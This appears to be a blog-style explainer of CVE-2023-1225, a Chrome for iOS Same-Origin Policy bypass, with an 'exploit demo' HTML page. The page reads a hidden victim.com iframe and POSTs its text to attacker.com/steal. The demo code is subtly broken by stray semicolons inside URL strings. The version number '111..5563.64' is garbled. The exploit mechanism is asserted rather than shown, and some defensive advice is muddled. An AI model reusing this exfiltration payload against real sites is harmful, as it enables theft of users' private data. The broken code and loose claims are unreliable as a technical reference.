CVE-2023-1225 - Understanding Chrome for iOS Navigation Policy Bypass (How It Works & Exploitation Demo)

In early 2023, a moderate security issue known as CVE-2023-1225 was uncovered in Google Chrome for iOS devices. This vulnerability remained unpatched until Chrome version 111..5563.64. It allowed remote attackers to bypass the Same-Origin Policy by exploiting the browser’s navigation mechanism through a specifically crafted web page. This exclusive deep dive explains, in simple terms, why this bug existed, how it could be abused, and demonstrates the actual exploit concept with code.

If you’re curious about web security or responsible for safeguarding web applications, understanding issues like this is essential.

What is the Same-Origin Policy?

The Same-Origin Policy (SOP) is a browser security mechanism that prevents scripts on one web page from accessing data on another web page unless both pages have the same origin (protocol, host, and port). This isolates websites from each other, protecting sensitive information.

Example

- Page A: https://bank.com/account.html
- Page B: https://evil.com/malicious.html

Normally, Page B cannot read or manipulate content from Page A in the user’s browser.

What Went Wrong? (Technical Details)

In Chrome for iOS, before version 111..5563.64, navigation policies weren’t strictly enforced. This meant a malicious HTML page could trick the browser into loading resources or pages from different origins in a way that bypassed SOP. This possibly exposed sensitive data or allowed unwanted interactions between websites.

The root cause was insufficient checks when a page navigated to a new location or when handling cross-origin resource loads in the WebKit-based Chrome for iOS.

References

- Google Chrome Release Notes (v111)
- Chromium Issue Tracker: 1411034
- NIST NVD Details on CVE-2023-1225

Exploit Demo: How Attackers Could Abuse This

Imagine an attacker wants to steal data from a user on victim.com. They trick the user into visiting their malicious page on attacker.com.

Snippet: Malicious HTML Code (Proof of Concept)

<!DOCTYPE html>
<html>
  <body>
    <iframe id="stealth" style="display:none"></iframe>
    <script>
      // Step 1: Load victim.com in a hidden iframe
      document.getElementById('stealth').src = 'https://victim.com/private';;

      // Step 2: Try to exploit navigation policy in Chrome for iOS < 111
      document.getElementById('stealth').onload = function() {
        try {
          // Chrome for iOS should block this! But due to the bug, attacker could access some info
          let secretContent = document.getElementById('stealth').contentDocument.body.innerText;
          // Exfiltrate data
          fetch('https://attacker.com/steal';, {
            method: 'POST',
            mode: 'no-cors',
            body: secretContent
          });
        } catch (e) {
          // SOP should throw error: "Blocked a frame with origin..."
          // But with this bug, some internal navigation flows didn't properly enforce SOP
        }
      };
    </script>
  </body>
</html>

An iframe loads a private page from victim.com.

- The script attempts to read its content, which (with a correct SOP implementation) should be blocked.
- Due to the Chrome for iOS bug, this could be bypassed under specific crafted navigation scenarios, leaking sensitive data to attacker.com.

Real-World Impact

This bug didn’t let attackers hack every site directly. But any sensitive data visible to a user could be exposed, as long as attackers crafted their web page precisely and the user visited it using a vulnerable version of Chrome for iOS (before 111..5563.64). Attackers could:

Break web app trust boundaries

Why only Chrome for iOS?
Apple forces all iOS browsers (including Chrome) to use its WebKit engine. This bug’s presence in iOS Chrome reflects an issue in how Chrome's integration handled cross-origin navigation with WebKit.

Update Now: Make sure your Chrome on iOS is at least version 111..5563.64 or newer.

- Developers: Always use strong cross-origin response headers such as SameSite for cookies and proper CORS policies.

Conclusion

CVE-2023-1225 serves as a reminder that even fundamental browser security controls like the Same-Origin Policy can be undermined by subtle bugs in navigation logic. For users and developers alike, keeping both browsers updated and understanding the “why” behind these fixes is vital.

Timeline

Published on: 03/07/2023 22:15:00 UTC
Last modified on: 03/11/2023 02:38:00 UTC